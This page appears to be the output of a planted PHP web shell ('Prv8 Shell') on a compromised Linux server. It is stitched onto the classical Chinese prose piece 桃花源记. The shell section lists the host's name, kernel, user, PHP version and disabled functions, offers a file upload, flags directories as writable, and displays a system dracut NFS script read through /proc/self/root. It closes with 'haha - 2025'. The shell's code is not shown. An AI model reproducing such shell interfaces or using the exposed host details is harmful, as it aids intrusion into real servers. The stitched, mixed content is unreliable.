晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/lib/dracut/modules.d/95nfs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/dracut/modules.d/95nfs/parse-nfsroot.sh
#!/bin/sh
#
# Preferred format:
#       root=nfs[4]:[server:]path[:options]
#
# This syntax can come from DHCP root-path as well.
#
# Legacy format:
#       root=/dev/nfs nfsroot=[server:]path[,options]
#
# In Legacy root=/dev/nfs mode, if the 'nfsroot' parameter is not given
# on the command line or is empty, the dhcp root-path is used as
# [server:]path[:options] or the default "/tftpboot/%s" will be used.
#
# If server is unspecified it will be pulled from one of the following
# sources, in order:
#       static ip= option on kernel command line
#       DHCP next-server option
#       DHCP server-id option
#       DHCP root-path option
#
# NFSv4 is only used if explicitly requested with nfs4: prefix, otherwise
# NFSv3 is used.
#

type getarg >/dev/null 2>&1 || . /lib/dracut-lib.sh

# This script is sourced, so root should be set. But let's be paranoid
[ -z "$root" ] && root=$(getarg root=)
[ -z "$nfsroot" ] && nfsroot=$(getarg nfsroot=)

[ -n "$netroot" ] && oldnetroot="$netroot"

# netroot= cmdline argument must be ignored, but must be used if
# we're inside netroot to parse dhcp root-path
if [ -n "$netroot" ] ; then
    for n in $(getargs netroot=); do
        [ "$n" = "$netroot" ] && break
    done
    if [ "$n" = "$netroot" ]; then
        #warn "Ignoring netroot argument for NFS"
        netroot=$root
    fi
else
    netroot=$root;
fi

# LEGACY: nfsroot= is valid only if root=/dev/nfs
if [ -n "$nfsroot" ] ; then
    # @deprecated
    warn "Argument nfsroot is deprecated and might be removed in a future release. See 'man dracut.kernel' for more information."
    if [ "$(getarg root=)" != "/dev/nfs"  ]; then
        die "Argument nfsroot only accepted for legacy root=/dev/nfs"
    fi
    netroot=nfs:$nfsroot;
fi

case "$netroot" in
    /dev/nfs) netroot=nfs;;
    /dev/*)
        if [ -n "$oldnetroot" ]; then
            netroot="$oldnetroot"
        else
            unset netroot
        fi
	return
	;;
    # LEGACY: root=<server-ip>:/<path
    [0-9]*:/*|[0-9]*\.[0-9]*\.[0-9]*[!:]|/*)
        netroot=nfs:$netroot;;
esac

# Continue if nfs
case "${netroot%%:*}" in
    nfs|nfs4|/dev/nfs);;
    *)
        if [ -n "$oldnetroot" ]; then
            netroot="$oldnetroot"
        else
            unset netroot
        fi
        return
        ;;
esac

# Check required arguments

if nfsdomain=$(getarg rd.nfs.domain -d rd_NFS_DOMAIN); then
    if [ -f /etc/idmapd.conf ]; then
        sed -i -e \
            "s/^[[:space:]#]*Domain[[:space:]]*=.*/Domain = $nfsdomain/g" \
            /etc/idmapd.conf
    fi
    # and even again after the sed, in case it was not yet specified
    echo "Domain = $nfsdomain" >> /etc/idmapd.conf
fi

nfsroot_to_var $netroot
[ "$path" = "error" ] && die "Argument nfsroot must contain a valid path!"

# Set fstype, might help somewhere
fstype=${nfs#/dev/}

# Rewrite root so we don't have to parse this uglyness later on again
netroot="$fstype:$server:$path:$options"

# If we don't have a server, we need dhcp
if [ -z "$server" ] ; then
    DHCPORSERVER="1"
fi;

# Done, all good!
rootok=1

# Shut up init error check or make sure that block parser wont get
# confused by having /dev/nfs[4]
root="$fstype"

echo '[ -e $NEWROOT/proc ]' > $hookdir/initqueue/finished/nfsroot.sh

mkdir -p /var/lib/rpcbind
chown rpc:rpc /var/lib/rpcbind
chmod 770 /var/lib/rpcbind

haha - 2025